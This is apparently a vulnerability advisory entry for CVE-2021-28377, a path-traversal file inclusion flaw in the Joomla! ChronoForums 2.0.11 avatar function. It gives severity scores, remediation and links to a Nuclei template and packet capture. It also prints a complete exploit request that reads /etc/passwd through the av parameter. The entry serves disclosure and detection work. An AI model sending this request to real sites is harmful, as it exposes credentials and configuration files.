| Title | Joomla! ChronoForums 2.0.11 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing remote code execution. |
| Remediation | Update Joomla! ChronoForums to the latest version (2.0.12) or apply the provided patch to fix the LFI vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.4612 |
| CVE ID | CVE-2021-28377 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve chronoforums lfi joomla chronoengine vuln |
Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.
GET /index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28377.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-28377.pcap
N/AN/A